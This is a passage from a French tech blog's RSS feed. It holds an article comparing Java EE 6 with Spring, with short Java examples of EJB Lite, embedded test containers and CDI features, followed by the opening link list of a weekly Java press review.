href="http://en.wikipedia.org/wiki/Dependency_injection" rel="nofollow">dependency injection</a>), l&#8217;utilisation de simple POJOs, mais aussi de la simplicité avec ses xTemplate bien utiles. Arrivé en 2003, Spring s’est imposé rapidement dans les entreprises face au standard J2EE 1.4. Ce dernier était un peu Goliath J2EE. Souvenez vous de cette grosse usine à gaz avec ses EJB 2, son conteneur lourd packagé en <em>ear,</em> qui mettait des minutes à démarrer sur un serveur WAS.  Face à lui, un David nommé Spring doté de simples beans POJO, d&#8217;un conteneur léger  et d&#8217;un packaging war déployable sur un simple serveur web, comme <em>Tomcat</em>. Grâce à eux,  Spring s&#8217;est imposé dans les entreprises en quelques années .</p><h3><a
name="JavaEE6%2Cuneplateformesimpleetl%C3%A9g%C3%A8re.Springn%E2%80%99aqu%E2%80%99%C3%A0biensetenir%21-JavaEE5%3Ad%C3%A9butdelacured%E2%80%99amaigrissement"></a>Java EE 5: début de la cure d’amaigrissement</h3><p>Mais tout cela, c’était il y a neuf ans et depuis un sacré chemin a été parcouru par la spécification Java EE. En 2006, Java EE 5 est arrivé enrichi de nouvelles transformations. Tout d&#8217;abord, son utilisation a été rendue plus simple grâce à l’utilisation massive des annotations. Les EJB 3.0 en ont bénéficié et sont devenus ainsi injectables et plus faciles à implémenter. Il y a eu aussi l’arrivée de JPA, une nouvelle API de persistance, fortement inspirée d&#8217;Hibernate qui a fait disparaître les anciens Entity EJB CMP/BMP.</p><h3><a
name="JavaEE6%2Cuneplateformesimpleetl%C3%A9g%C3%A8re.Springn%E2%80%99aqu%E2%80%99%C3%A0biensetenir%21-JavaEE6%2C%C3%A7arocks%5C%21"></a>Java EE 6, ça rocks !</h3><p>Sortie en 2009, <a
href="http://www.oracle.com/technetwork/java/javaee/overview/index.html">Java EE 6</a> a progressé sur la voie de la simplicité avec l’utilisation massive des annotations et des POJO.  A tel point qu’on peut se demander maintenant qui est David et qui est Goliath.<br
/> Des API existantes ont encore prospéré de manière significative, comme les EJB 3.1 (dont les EJB Lite), JPA 2.0, JSF 2.0, ou encore Servlet 3.0. De nouvelles API ont fait leur apparition comme CDI 1.0, @Inject 1.0, Interceptors 1.1, JAX-RS 1.1, ou encore Bean Validation 1.0. Et, toujours dans un esprit de “light is right”, de vieilles spécifications comme JAX-RPC, JAX-R, ou JSR88 ont été déclarées “pruned” et devraient disparaître pour la prochaine version de Java EE 7.<br
/> Par ailleurs, cette version introduit enfin des noms JNDI standard et donc portables entre les différents serveurs d’application. Cette version embrasse aussi les paradigmes de <em>convention-over-configuration</em> et de <em>configuration-by-exception</em>, qui permettent de ne presque plus rien avoir à configurer, le conteneur appliquant des paramètres par défaut tant qu’il n’ y a pas d’exception. Ainsi, on obtient des applications avec très peu de fichiers de configuration xml.<br
/> Avec Servlet 3.0, le bon vieux web.xml est devenu optionnel. Ainsi, ne soyez pas étonné de ne voir qu’en tout et pour tout seulement deux fichiers de configuration dans un projet Java EE: un fichier persistence.xml pour gérer la persistance avec JPA et un fichier beans.xml (qui peut rester vide) pour les managed beans.</p><h3><a
name="JavaEE6%2Cuneplateformesimpleetl%C3%A9g%C3%A8re.Springn%E2%80%99aqu%E2%80%99%C3%A0biensetenir%21-Unpackagingwargr%C3%A2ceauWebProfile1.0etauxEJBLite"></a>Un packaging war grâce au Web Profile 1.0 et aux EJB Lite</h3><p>L’arrivée des Profiles est une autre nouveauté majeure, ouvrant de nouvelles perspectives. En particulier, le <a
href="http://java.sun.com/developer/technicalArticles/JavaEE/JavaEE6Overview_Part3.html#tab1" rel="nofollow">Web Profile</a> qui reprend un sous-ensemble de Java EE et qui permet de packager son application dans un simple war. Le Web Profile embarque les spécifications essentielles communément requises pour développer une application web d’aujourd’hui : JSF, JSP, Servlet, EL, JSTL, EJB Lite, CDI, etc. Cependant, il a été nécessaire de créer des EJB “Lite”, qui n’implémentent pas toute la spécification EJB. Ils conservent néanmoins le principal, à savoir : les Session Beans, l’injection, les interceptors, la transaction et sécurité. Ces sont donc de simples classes POJO, qui n’implémentent pas d’interfaces (appelée ‘no-interface view’). Les EJB Lite sont ainsi déployables dans un simple war.</p><pre class="brush: java; gutter: true; title: ; notranslate">
//Exemple d'un EJB Lite avec une no-interface view
  @Stateless
   public class HelloBean {
       public String sayHello() {
           String message = propertiesBean.getProperty(&quot;hello.message&quot;);
           return message;
       }
   }
</pre><h3><a
name="JavaEE6%2Cuneplateformesimpleetl%C3%A9g%C3%A8re.Springn%E2%80%99aqu%E2%80%99%C3%A0biensetenir%21-Desconteneursl%C3%A9gersetembarqu%C3%A9s"></a>Des conteneurs légers et embarqués</h3><p>Vous vous souvenez sans doute des serveurs d&#8217;application &laquo;&nbsp;usine à gaz&nbsp;&raquo;, qui prenaient parfois quelques minutes à démarrer et à déployer votre application Java EE, . Il était aussi très difficile de tester ces EJB et de réaliser des tests d&#8217;intégration automatisés. Ces temps là sont maintenant révolus! Aujourd&#8217;hui, nous écrivons de plus en plus des tests unitaires et d&#8217;intégration. Nous avons besoin de déployer nos applications le plus rapidement possible pour ne pas être trop pénalisé durant notre cycle de développement. Pour répondre à ces besoins, les EJB 3.1 ont introduit l&#8217;idée de conteneurs JEE embarqués. Ces conteneurs EJB implémentent l&#8217;API javax.ejb.embeddable et sont packagés dans un jar exécutable n&#8217;importe où : du code Java SE, des tests Junit, ou encore un conteneur web. Ce conteneur s’exécute donc au sein de la même JVM que votre programme. Vous pouvez ainsi débugger facilement vos applications avec votre IDE préféré.</p><h3><a
name="JavaEE6%2Cuneplateformesimpleetl%C3%A9g%C3%A8re.Springn%E2%80%99aqu%E2%80%99%C3%A0biensetenir%21-...ettestables%5C%21"></a>&#8230;et testables!</h3><p>Voici un exemple de code Junit, où l&#8217;on peut voir comme il est simple de créer un conteneur EJB embarqué à l&#8217;aide de API <a
href="http://docs.oracle.com/javaee/6/api/javax/ejb/embeddable/EJBContainer.html" rel="nofollow">javax.ejb.embeddable.EJBContainer</a>. Des propriétés sont passées à l&#8217; EJBContainer pour préciser où sont les ressources et classes Java. Ensuite, pour récupérer l&#8217;EJB, il suffit de faire un lookup dans le contexte en utilisant le nom JNDI portable de l&#8217;EJB.</p><pre class="brush: java; gutter: true; title: ; notranslate">
private static EJBContainer ec;
private static Context ctx;
@BeforeClass
public static void createEmbeddedTestContainer() throws Exception {
       Map properties = new HashMap();
       properties.put(EJBContainer.MODULES, new File[]{new File(&quot;target/classes&quot;), new File(&quot;target/test-classes&quot;)});
       ec = EJBContainer.createEJBContainer(properties);
       ctx = ec.getContext();
}
//Pour récuperer un EJB:
ctx.lookup(&quot;java:global/classes/MyEJB&quot;)
</pre><p>Par ailleurs, il existe une manière plus évoluée pour tester son conteneur EJB à l&#8217;aide de <a
href="http://www.jboss.org/arquillian" rel="nofollow">JBoss Arquillian</a> et <a
href="http://www.jboss.org/shrinkwrap" rel="nofollow">ShrinkWrap</a>. Arquillian se pluggue sous forme de runner Junit et s&#8217;occupe de créer le conteneur pour vous. Il permet ainsi d&#8217;injecter directement avec @Inject vos beans. ShrinkWrap est un petit utilitaire qui permet quant à lui de créer une archive jar contenant les classes et fichiers ressources du projet. Arquillian à l&#8217;aide de l&#8217;annotation @Deployment va récupérer cette archive au moment de démarrer le conteneur. </p><pre class="brush: java; gutter: true; title: ; notranslate">
@RunWith(Arquillian.class)
public class MyEJBTest {
   @Deployment
   public static JavaArchive createDeployment() {
      return ShrinkWrap.create(JavaArchive.class, &quot;test.jar&quot;)
         .addClasses(MyEJB.class, AnotherClass.class);
   }
   @Inject
   private MyEJB myEJB;
</pre><h3><a
name="JavaEE6%2Cuneplateformesimpleetl%C3%A9g%C3%A8re.Springn%E2%80%99aqu%E2%80%99%C3%A0biensetenir%21-Lesserveursd%27applicationsontmisleturbo"></a>Les serveurs d&#8217;applications ont mis le turbo</h3><p>Il existe quelques serveurs qui implémentent le Full Profile  Java  EE 6 et <a
href="http://www.oracle.com/technetwork/java/javaee/overview/compatibility-jsp-136984.html" rel="nofollow">certifiés par Oracle</a>, comme Oracle GlassFish Server 3.x,  IBM  WebSphere Application Server 8.0, ou encore Apache Geronimo 3.x. Mais grâce au Web Profile, on voit apparaitre de nombreux  serveurs Java  EE 6 Web Profile, comme: Jboss 7, Apache TomEE, ou encore Caucho   Resin.</p><p>Prenons par exemple, <a
href="http://openejb.apache.org/" rel="nofollow">Apache TomEE</a>, qui n&#8217;est autre qu&#8217;un serveur  Tomcat, auquel on a ajouté quelques jars, comme OpenWebBeans, OpenEJB,  OpenJPA et MyFaces pour qu&#8217;il soit compatible Java EE 6 Web Profile.  Comme le souligne <a
href="http://agoncal.wordpress.com/2011/10/20/o-java-ee-6-application-servers-where-art-thou/" rel="nofollow">Antonio Goncalves</a>, Java EE expert member, <b>ces serveurs démarrent très  rapidement:</b>  La plupart en moins de 4 secondes à comparer avec un simple  Tomcat qui démarre en 0,7s. On oubliera WebSphere qui reste encore d&#8217;une lenteur accablante avec un démarrage en 48s. La version Full Profile de GlassFish nous rassure avec un démarrage en à peine 3s. On voit bien que Java EE devient de plus  en plus rapide, simple à utiliser et s&#8217;oriente vers une architecture de  plus en plus modulaire. </p><h3><a
name="JavaEE6%2Cuneplateformesimpleetl%C3%A9g%C3%A8re.Springn%E2%80%99aqu%E2%80%99%C3%A0biensetenir%21-AvecCDI%2Coninjectetoutdanstout%5C%21"></a>Avec CDI, on injecte tout dans tout!</h3><p>En parallèle de la notion de conteneur léger, l&#8217;API Managed Beans 1.0 décrit que toute classe POJO est potentiellement un bean managé par le conteneur. Ce dernier doit lui fournir un certain nombre de services simples, comme la gestion du cycle de vie du bean avec @PostConstruct et @PreDestroy, des interceptors  “à la AOP” avec le @Interceptor, et le @AroundInvoke, ou encore de l’injection de dépendances avec @Inject, et @Resource.</p><p>CDI 1.0 est une API majeure dans Java EE 6 qui permet entre autre de réaliser l&#8217;injection de dépendance et bien plus comme nous le verrons par la suite. L&#8217;implémentation de référence est <a
href="http://seamframework.org/Weld" rel="nofollow">JBoss Weld</a>. Ici, le mot d&#8217;ordre est loose coupling, strong typing. Contrairement aux beans Spring, qui sont identifiés par des String, et donc sources d&#8217;erreurs au runtime, CDI a choisi la voix du typage fort en utilisant des annotations. Tout managed bean est injectable dans un autre. Bref, maintenant on peut vraiment injecter tout dans tout ! A son chargement le conteneur CDI va scanner tous les jars de son classpath à la recherche d&#8217;un fichier beans.xml. Si un fichier est trouvé, il va créer des managed beans pour toutes les classes concernées. Ce type de chargement permet de réduire le temps de création du conteneur CDI et d&#8217;exclure facilement les jars que l&#8217;on ne veut pas manager. Par défaut, le fichier beans.xml peut rester vide, ce sont alors les annotations, qui seront utilisées. Si vous configurez le fichier, vous pourrez définir ou surcharger les propriétés d&#8217;un bean : les informations du fichier xml ayant prédominance par rapport aux annotations.</p><h4><a
name="JavaEE6%2Cuneplateformesimpleetl%C3%A9g%C3%A8re.Springn%E2%80%99aqu%E2%80%99%C3%A0biensetenir%21-Lesscopes"></a>Les scopes</h4><p>Tout bean dispose d&#8217;un scope. Par défaut, le scope est implicitement annoté @Dependent, ce qui revient à créer une instance du bean pour chaque objet dépendant de lui. D&#8217;autres scopes sont proposés: @RequestScoped, @SessionScoped, @ApplicationScoped, ou encore @ConversationScoped. Il est possible de créer ses propres scopes métiers. Il existe également une annotation @New pour forcer l&#8217;injection d&#8217;une nouvelle instance d&#8217;un bean, même si celui-ci a un scope Application par exemple.</p><pre class="brush: java; gutter: true; title: ; notranslate">
@Inject @New Calculator calculator;
@ApplicationScoped
public class Calculator {...}
</pre><h4><a
name="JavaEE6%2Cuneplateformesimpleetl%C3%A9g%C3%A8re.Springn%E2%80%99aqu%E2%80%99%C3%A0biensetenir%21-L%27injectionavec@Inject"></a>L&#8217;injection avec @Inject</h4><p>Ainsi, pour injecter un bean, il suffit d&#8217;annoter une classe, une propriété, ou un paramètre avec l&#8217;annotation @Inject. Les beans sont identifiés de plusieurs manières possibles. La première méthode utilise un @Qualifier. Par défaut, si l&#8217;on ne précise rien, c&#8217;est le qualifier @Default qui est appliqué.</p><pre class="brush: java; gutter: true; title: ; notranslate">
@Inject
private CustomerDao customerDao;
//Equivalent à:
@Inject @Default
private CustomerDao customerDao;
</pre><h4><a
name="JavaEE6%2Cuneplateformesimpleetl%C3%A9g%C3%A8re.Springn%E2%80%99aqu%E2%80%99%C3%A0biensetenir%21-Identifierunbeanavec@Qualifier"></a>Identifier un bean avec @Qualifier</h4><p>Si votre bean a plusieurs implémentations et afin de prévenir des ambiguïtés au niveau d&#8217;un point d&#8217;injection, vous devrez créer votre propre qualifier. Pour cela, il suffit de créer votre propre annotation avec @Qualifier et d&#8217;annoter votre bean avec celle-ci.</p><pre class="brush: java; gutter: true; title: ; notranslate">
@Qualifier
@Retention(RUNTIME)
@Target({FIELD, TYPE, METHOD, PARAMETER})
public @interface JdbcDao {
}
@Qualifier
@Retention(RUNTIME)
@Target({FIELD, TYPE, METHOD, PARAMETER})
public @interface JPADao {
}
@JdbcDao
public class JdbcCustomerDao implements CustomerDao {...}
@JPADao
public class JPACustomerDao implements CustomerDao {...}
//Exemple d'injection avec @Qualifier:
@Inject @JdbcDao
private CustomerDao customerDao;
</pre><h4><a
name="JavaEE6%2Cuneplateformesimpleetl%C3%A9g%C3%A8re.Springn%E2%80%99aqu%E2%80%99%C3%A0biensetenir%21-IdentifierunbeanviasonnomELavec@Named"></a>Identifier un bean via son nom EL avec @Named</h4><p>Une autre manière d&#8217;identifier un bean est d&#8217;indiquer son nom EL (Expression Language) via l&#8217;annotation @Named. Ce bean sera ainsi accessible depuis vos pages JSF en utilisant une EL. Il est possible de spécifier un nom ou par défaut c&#8217;est le nom de classe dont la première lettre passe en minuscule qui est considéré.</p><pre class="brush: java; gutter: true; title: ; notranslate">
@Named
public class Calculator {...}
//Equivalent à :
@Named(&quot;calculator&quot;)
public class Calculator {...}
//Page JSF:
&lt;h:outputLabel value=&quot;#{calculator.someMethod}&quot; /&gt;
</pre><h4><a
name="JavaEE6%2Cuneplateformesimpleetl%C3%A9g%C3%A8re.Springn%E2%80%99aqu%E2%80%99%C3%A0biensetenir%21-D%C3%A9finiruneimpl%C3%A9mentationalternativeavec@Alternative"></a>Définir une implémentation alternative avec @Alternative</h4><p>Une autre fonctionnalité intéressante proposée dans CDI est de définir une implémentation alternative à un bean. Cette alternative doit être déclarée dans le fichier beans.xml et permet de modifier l&#8217;implémentation d&#8217;un bean au déploiement. Elle surcharge donc le bean qui aurait dû être injecté initialement.</p><pre class="brush: java; gutter: true; title: ; notranslate">
//MockCustomerDao est une implémentation alternative aux implémentations Jdbc et JPA
@Alternative
@JdbcDao
@JPADao
public class MockCustomerDao implements CustomerDao {...}
//L'implémentation alternative MockCustomerDao sera injectée à la place de JPADao:
@Inject @JPADao
private CustomerDao customerDao;
//Déclaration de l'alternative dans le beans.xml:
&lt;alternatives&gt;
   &lt;class&gt;fr.xebia.cdi.MockCustomerDao&lt;/class&gt;
&lt;/alternatives&gt;
</pre><h4><a
name="JavaEE6%2Cuneplateformesimpleetl%C3%A9g%C3%A8re.Springn%E2%80%99aqu%E2%80%99%C3%A0biensetenir%21-Personnaliserler%C3%B4led%27unbeanavec@Stereotype"></a>Personnaliser le rôle d&#8217;un bean avec @Stereotype</h4><p>Les stéréotypes permettent de regrouper au sein d&#8217;une même annotation des modèles et des rôles communs que l&#8217;on veut implanter sur des beans. CDI fournit quelques stéréotypes de base. Ci-dessous, le stéréotype @Model représente la partie Model du pattern MVC et peut être utilisée pour les beans JSF. On voit par exemple que les beans utilisant ce stéréotype auront tous en commun un nom EL, et un scope request.</p><pre class="brush: java; gutter: true; title: ; notranslate">
@Named
@RequestScoped
@Stereotype
@Target({TYPE, METHOD, FIELD})
@Retention(RUNTIME)
public @interface Model {}
</pre><p>On constate la richesse qu&#8217;offre CDI en plus de la simple injection de dépendances. Les qualifiers et stéréotypes permettent notamment de donner du sens métier et fonctionnel aux beans.</p><h3><a
name="JavaEE6%2Cuneplateformesimpleetl%C3%A9g%C3%A8re.Springn%E2%80%99aqu%E2%80%99%C3%A0biensetenir%21-CDIoffredenombreuxpatternscl%C3%A9enmain"></a>CDI offre de nombreux patterns clé en main</h3><p>Outre l&#8217;injection de dépendance, CDI va plus loin en implémentant un certain nombre de patterns de programmation. Là encore, c&#8217;est à l&#8217;aide d&#8217;annotations que la magie opère.</p><h4><a
name="JavaEE6%2Cuneplateformesimpleetl%C3%A9g%C3%A8re.Springn%E2%80%99aqu%E2%80%99%C3%A0biensetenir%21-LepatternSingletonavec@Singleton"></a>Le pattern Singleton avec @Singleton</h4><p>Tout d&#8217;abord le mythique pattern Singleton, où il suffit d&#8217;annoter un bean avec @Singleton. Ainsi, une seule instance du bean est partagée et les accès concurrents sont gérés. Il faut savoir que cette annotation est en fait un pseudo-scope, mais contrairement aux autres scopes, le conteneur injecte une référence directe au bean, et non un proxy.</p><h4><a
name="JavaEE6%2Cuneplateformesimpleetl%C3%A9g%C3%A8re.Springn%E2%80%99aqu%E2%80%99%C3%A0biensetenir%21-LepatternFactoryavec@Produces"></a>Le pattern Factory avec @Produces</h4><p>Cette technique appelée <em>producer method</em> est une méthode permettant de créer des objets injectables. On peut produire des types primitifs, des beans ou encore des ressources telles qu&#8217;un entityManager, une connection JMS, etc. Dans l&#8217;exemple ci-dessous, notre <em>producer method</em> produit un logger. Pour créer ce logger, il est nécessaire d&#8217;indiquer le nom de la classe qui sera loggué. Pour cela, il suffit de passer en paramètre de notre méthode un objet InjectionPoint qui sera injecté par CDI. Cet objet permet de récupérer des informations de contexte, comme la classe où est injecté l&#8217;objet Logger.</p><pre class="brush: java; gutter: true; title: ; notranslate">
class LogFactory {
   @Produces Logger createLogger(InjectionPoint injectionPoint) {
       return Logger.getLogger(injectionPoint.getMember().getDeclaringClass().getName());
   }
}
//Injection du logger:
@Inject
private Logger logger;
</pre><h4><a
name="JavaEE6%2Cuneplateformesimpleetl%C3%A9g%C3%A8re.Springn%E2%80%99aqu%E2%80%99%C3%A0biensetenir%21-LesinterceptorsavecCDI"></a>Les interceptors avec CDI</h4><p>CDI enrichit l&#8217;API Interceptors 1.1 présente dans Java EE 6. Initialement, Interceptors permet de faire de l&#8217;interception à la &laquo;&nbsp;AOP&nbsp;&raquo; sur les managed beans ou les EJB beans. L&#8217;intercepteur déclenche alors un traitement avant et après l&#8217;invocation d&#8217;une méthode. L&#8217;annotation @AroundInvoke permet d’exécuter du code au moment de l&#8217;interception et @Interceptors indique les méthodes à intercepter. Ainsi, CDI introduit une nouvelle annotation @InterceptorBinding, qui simplifie et offre un couplage lâche avec la classe de l&#8217;interceptor.</p><pre class="brush: java; gutter: true; title: ; notranslate">
@InterceptorBinding
@Inherited
@Target( { TYPE, METHOD })
@Retention(RUNTIME)
public @interface Transactional {}
//Intercepteur qui déclare l'annotation précédente, ainsi que @Interceptor
public @Transactional @Interceptor
class TransactionInterceptor { ... }
//On applique l'intercepteur sur le bean via l'annotation.
public @SessionScoped @Transactional
class ShoppingCart implements Serializable { ... }
</pre><h4><a
name="JavaEE6%2Cuneplateformesimpleetl%C3%A9g%C3%A8re.Springn%E2%80%99aqu%E2%80%99%C3%A0biensetenir%21-LepatternDecoratoravec@Decorator"></a>Le pattern Decorator avec @Decorator</h4><p>Les décorateurs ressemblent aux intercepteurs. Ils interceptent aussi des appels de méthodes, mais ont en plus accès à la sémantique du bean intercepté. Un décorateur est une classe abstraite (ou non) qui implémente le type du bean qu&#8217;il décore et est annoté avec @Decorator.<br
/> Le bean du décorateur s&#8217;injecte l&#8217;objet qu&#8217;il décore via les annotations  @Inject @Delegate @Any. L&#8217;annotation @Delegate indique que ce point  d&#8217;injection correspond au bean que l&#8217;on veut décorer. L&#8217;annotation  @Any permet d&#8217;intercepter tous les beans implémentant l&#8217;interface du type décoré.  Enfin, le décorateur implémente au choix les méthodes qu&#8217;il veut intercepter.</p><pre class="brush: java; gutter: true; title: ; notranslate">
public interface Customer {
   String getName();
   ...
}
@Decorator
public abstract class CustomerDecorator
implements Customer {
   @Inject @Delegate @Any
   Customer customer;
   public String getName() {
      return &quot;decorate&quot;+ customer.getName();
   }
}
</pre><h4><a
name="JavaEE6%2Cuneplateformesimpleetl%C3%A9g%C3%A8re.Springn%E2%80%99aqu%E2%80%99%C3%A0biensetenir%21-LepatternObserver%28ouEvent%29avec@Observable"></a>Le pattern Observer (ou Event) avec @Observable</h4><p>CDI offre la possibilité aux beans de produire et de consommer des  events. Ce mécanisme permet notamment aux beans d&#8217;interagir entre eux via un couplage lâche et asynchrone sans utiliser JMS. Par ailleurs, ce  pattern permet de synchroniser et capter les changements d&#8217;état de  beans stateful. <br
/> Un event est matérialisé par un objet java (event object ou payload) et est marqué d&#8217;un ou plusieurs qualifiers (event qualifiers). Les qualifiers permettent de distinguer les events que l&#8217;on veut produire ou observer pour un type de bean donné. Techniquement, une méthode observatrice (observer method) aura le rôle de consommer  l&#8217;event object, correspondant à un ensemble de qualifiers donnés.</p><pre class="brush: java; gutter: true; title: ; notranslate">
//Permet de qualifier l'event
@Qualifier
@Target({FIELD, PARAMETER})
@Retention(RUNTIME)
public @interface Updated {}
//Observer method pour tout type de Customer
public void onAnyCustomerEvent(@Observes Customer customer) { ... }
//Observer method pour les Customer qualifié par @Updated
public void afterCustomerUpdate(@Observes @Updated Customer customer) { ... }
//Producteur d'un event de type Customer qualifié par @Updated
@Inject @Updated Event&lt;Customer&gt; customerEvent;
public void someMethod(Event&lt;Customer&gt; customerEvent) {
   ...
   customerEvent.fire(customer);
}
</pre><h3><a
name="JavaEE6%2Cuneplateformesimpleetl%C3%A9g%C3%A8re.Springn%E2%80%99aqu%E2%80%99%C3%A0biensetenir%21-LesextensionsCDI%2Cl%E2%80%99avenirdeJavaEE%3F"></a>Les extensions CDI, l’avenir de Java EE ?</h3><p>De base, les patterns et les fonctionnalités qu&#8217;offre CDI sont riches et nombreux. Mais, cela va encore plus loin. Le cœur de CDI a été conçu tel  un bus d’événements. Au moment du chargement du conteneur, celui-ci  envoie ses informations de contexte (détection d&#8217;annotations, de beans,  etc.) dans un bus. Il est alors possible de capter ces événements via  une SPI, contenu dans le package <a
href="http://docs.jboss.org/cdi/api/1.0/javax/enterprise/inject/spi/Extension.html" rel="nofollow">javax.enterprise.inject.spi</a>. En  implémentant cette SPI, il est ainsi possible de capter ces informations  et d&#8217;effectuer des traitements propres. Cette architecture rend CDI  modulaire et permet le développement d&#8217;extensions CDI portables.</p><p>Les développeurs de <a
href="http://seamframework.org/Seam3" rel="nofollow">Seam 3</a> ont bien compris l’intérêt des extensions CDI et ont conçu leur framework comme un ensemble d&#8217;extensions à CDI. Si vous avez besoin d&#8217;une certaine fonctionnalité, il suffit d&#8217;ajouter le module concerné. Cela ouvre la voix à l&#8217;intégration d&#8217;api third-party et permet d&#8217;enrichir considérablement la plateforme Java EE,  de la même manière que Spring le fait avec ses modules et ses templates.</p><p>Par ailleurs, un projet très ambitieux encore en incubation chez Apache, nommé <a
href="http://wiki.apache.org/incubator/DeltaSpikeProposal" rel="nofollow">DeltaSpike </a>a pour but de standardiser un ensemble d&#8217;extensions CDI,  développé et maintenu par la communauté Java. Et éventuellement, ces  extensions pourront être intégrées aux spécifications Java SE et EE. Les premiers contributeurs ont offert les &laquo;&nbsp;code base&nbsp;&raquo; de JBoss Seam3, Apache MyFaces CODI et CDISource. A terme, JBoss Seam 3 et consorts disparaitront pour laisser DeltaSpike la seule source d&#8217;extensions CDI portables et standards. L&#8217;avenir de Java EE passera donc aussi par le développement des extensions CDI.</p><h3><a
name="JavaEE6%2Cuneplateformesimpleetl%C3%A9g%C3%A8re.Springn%E2%80%99aqu%E2%80%99%C3%A0biensetenir%21-Conclusion"></a>Conclusion</h3><p>Cet article avait pour vocation de démontrer que la plateforme Java EE 6 est aboutie et apporte des nouveautés majeures. Il n&#8217;a pas abordé toutes les spécifications, telles que JPA 2, Bean Validation 1.1 ou encore JSF 2.0.  Comme nous avons pu le voir, cette plateforme a rattrapé son retard par rapport au géant Spring. L&#8217;arrivée du Web Profile et des EJB Lite ouvre la voie à des conteneurs légers et testables.</p><p>Néanmoins, il y a quelques petites déceptions: par exemple, la gestion de la configuration et celle des profiles sont inexistantes contrairement à spring. On peut aussi regretter que le profile web  n&#8217;inclue pas JMS, JAX-RS et JAX-WS. Enfin, <b>la</b> réussite de Java EE 6 est sans doute l&#8217;API CDI, qui apporte enfin l&#8217;injection de dépendances, de la modularité, et même plus avec ses extensions. Le projet Delta Spike qui consiste à devenir le catalogue de référence des extensions CDI est à surveiller de près.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2012/02/01/java-ee-6-une-plateforme-simple-et-legere-spring-na-qua-bien-se-tenir/feed/</wfw:commentRss> <slash:comments>23</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2012/01/17/revue-de-presse-xebia-2012-03/</link> <comments>http://blog.xebia.fr/2012/01/17/revue-de-presse-xebia-2012-03/#comments</comments> <pubDate>Tue, 17 Jan 2012 05:39:54 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[BigData]]></category> <category><![CDATA[Firebug]]></category> <category><![CDATA[Firefox]]></category> <category><![CDATA[JavaScript]]></category> <category><![CDATA[JUG]]></category> <category><![CDATA[Redis]]></category> <category><![CDATA[scala]]></category> <category><![CDATA[Spring]]></category> <category><![CDATA[Spring Data]]></category> <category><![CDATA[Spring Integration]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=10296</guid> <description><![CDATA[La revue de presse hebdomadaire des écosystèmes Java/JEE proposée par Xebia. Actualité éditeurs / SSII Spring Integration 2.1 (Par Bertrand Dechoux) Spring Data Redis 1.0.0 (Par Bertrand Dechoux &#38; Mathieu Bigorne) &#171;&#160;Big Data&#160;&#187; par Nathan Marz et Sam Ritchie est disponible en MEAP (Par Bertrand Dechoux) Scalding, une API Scala pour Cascading par Twitter (Par [...]]]></description> <content:encoded><![CDATA[<p><img
src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" style="margin: 1em 1em 1em 1em; float: right;" /><br
/> <em>La revue de presse hebdomadaire des écosystèmes Java/JEE proposée par Xebia.</em></p><p><strong>Actualité  éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2012/01/17/revue-de-presse-xebia-2012-03/#Revuedepresse-SpringIntegration2.1">Spring Integration 2.1</a> <em>(Par <a
href="http://blog.xebia.fr/author/bdechoux/" rel="nofollow">Bertrand Dechoux</a>)</em></li><li><a
href="http://blog.xebia.fr/2012/01/17/revue-de-presse-xebia-2012-03/#Revuedepresse-SpringDataRedis1.0.0">Spring Data Redis 1.0.0</a> <em>(Par <a
href="http://blog.xebia.fr/author/bdechoux/" rel="nofollow">Bertrand Dechoux</a> &amp; <a
href="https://twitter.com/#!/mbigorne" rel="nofollow">Mathieu Bigorne</a>)</em></li><li><a
href="http://blog.xebia.fr/2012/01/17/revue-de-presse-xebia-2012-03/#Revuedepresse-%22BigData%22parNathanMarzetSamRitchieestdisponibleenMEAP">&laquo;&nbsp;Big Data&nbsp;&raquo; par Nathan Marz et Sam Ritchie est disponible en MEAP</a> <em>(Par <a
href="http://blog.xebia.fr/author/bdechoux/" rel="nofollow">Bertrand Dechoux</a>)</em></li><li><a
href="http://blog.xebia.fr/2012/01/17/revue-de-presse-xebia-2012-03/#Revuedepresse-Scalding%2CuneAPIScalapourCascadingparTwitter">Scalding, une API Scala pour Cascading par Twitter</a> <em>(Par <a
href="http://blog.xebia.fr/author/bdechoux/" rel="nofollow">Bertrand Dechoux</a>)</em></li><li><a
href="http://blog.xebia.fr/2012/01/17/revue-de-presse-xebia-2012-03/#Revuedepresse-Firefox10sortiraenversionESR">Firefox 10 sortira en version ESR</a> <em>(Par Benoit Lemoine)</em></li><li><a
href="http://blog.xebia.fr/2012/01/17/revue-de-presse-xebia-2012-03/#Revuedepresse-Firebug1.9.0">Firebug 1.9.0</a> <em>(Par <a
href="http://blog.xebia.fr/author/bdechoux/" rel="nofollow">Bertrand Dechoux</a>)</em></li></ul><p><strong>Le coin de la technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2012/01/17/revue-de-presse-xebia-2012-03/#Revuedepresse-Seren%3ASerializationEnhancer">Seren : Serialization Enhancer</a> <em>(Par <a
href="https://twitter.com/#!/jeanhelou" rel="nofollow">Jean Helou</a>)</em></li><li><a
href="http://blog.xebia.fr/2012/01/17/revue-de-presse-xebia-2012-03/#Revuedepresse-Apologiedeslambdasdeblockspourjavascript">Apologie des lambdas de blocks pour javascript</a> <em>(Par <a
href="https://twitter.com/#!/jeanhelou" rel="nofollow">Jean Helou</a>)</em></li><li><a
href="http://blog.xebia.fr/2012/01/17/revue-de-presse-xebia-2012-03/#Revuedepresse-Verbosit%C3%A9deslangagesdeprogrammation">Verbosité des langages de programmation</a> <em>(Par <a
href="http://blog.xebia.fr/author/omichallat/" rel="nofollow">Olivier Michallat</a>)</em></li></ul><p><strong>Evénements de notre communauté en France et à l&#8217;étranger</strong></p><ul><li><a
href="http://blog.xebia.fr/2012/01/17/revue-de-presse-xebia-2012-03/#Revuedepresse-L%27artisanat%2Cunm%C3%A9tierd%27avenir">L&#8217;artisanat, un métier d&#8217;avenir</a> <em>(Par <a
href="http://blog.xebia.fr/author/xbucchiotty/" rel="nofollow">Xavier Bucchiotty</a>)</em></li><li><a
href="http://blog.xebia.fr/2012/01/17/revue-de-presse-xebia-2012-03/#Revuedepresse-UnesemainerichepourlesUserGroups">Une semaine riche pour les User Groups</a></li></ul><h3><a
name="Revuedepresse-Actualit%C3%A9%C3%A9diteurs%2FSSII"></a>Actualité  éditeurs / SSII</h3><h4><a
